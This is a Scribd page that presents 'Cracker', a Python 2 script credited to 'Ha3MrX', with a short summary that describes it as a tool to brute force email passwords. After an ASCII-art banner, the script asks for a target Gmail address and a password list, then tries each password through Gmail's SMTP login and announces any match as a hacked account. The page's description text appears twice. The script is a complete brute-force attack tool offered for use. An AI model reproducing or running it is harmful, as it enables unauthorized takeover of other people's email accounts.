0% found this document useful (0 votes)
79 views2 pages

Cracker

This Python script is used to brute force email passwords by attempting to login to a Gmail account using a list of passwords. It prints an ASCII art banner, then prompts the user to select an attack or exit. If attack is selected, it asks for the password file path and attempts to login using each password, printing status updates. If a successful password is found, it prints a message and exits.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
79 views2 pages

Cracker

This Python script is used to brute force email passwords by attempting to login to a Gmail account using a list of passwords. It prints an ASCII art banner, then prompts the user to select an attack or exit. If attack is selected, it asks for the password file path and attempts to login using each password, printing status updates. If a successful password is found, it prints a message and exits.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
You are on page 1/ 2

#!

/usr/bin/python
'''create by Ha3MrX'''

import smtplib
from os import system

def main():
print '================================================='
print ' create by Ha3MrX '
print '================================================='
print ' ++++++++++++++++++++ '
print '\n '
print ' _,. '
print ' '
print ' '
print ' HA3MrX '
print ' _,. '
print ' ,` -.) '
print ' ( _/-\\-._ '
print ' /,|`--._,-^| , '
print ' \_| |`-._/|| , | '
print ' | `-, / | / / '
print ' | || | / / '
print ' `r-._||/ __ / / '
print ' __,-<_ )`-/ `./ / '
print ' \ `--- \ / / / '
print ' | |./ / '
print ' / // / '
print ' \_/ \ |/ / '
print ' | | _,^- / / '
print ' | , `` (\/ /_ '
print ' \,.->._ \X-=/^ '
print ' ( / `-._//^` '
print ' `Y-.____(__} '
print ' | {__) '
print ' () V.1.0 '

main()
print '[1] start the attack'
print '[2] exit'
option = input('==>')
if option == 1:
file_path = raw_input('path of passwords file :')
else:
system('clear')
exit()
pass_file = open(file_path,'r')
pass_list = pass_file.readlines()
def login():
i = 0
user_name = raw_input('target email :')
server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
server.ehlo()
for password in pass_list:
i = i + 1
print str(i) + '/' + str(len(pass_list))
try:
server.login(user_name, password)
system('clear')
main()
print '\n'
print '[+] This Account Has Been Hacked Password :' + password + '
^_^'
break
except smtplib.SMTPAuthenticationError as e:
error = str(e)
if error[14] == '<':
system('clear')
main()
print '[+] this account has been hacked, password :' + password
+ ' ^_^'

break
else:
print '[!] password not found => ' + password
login()

You might also like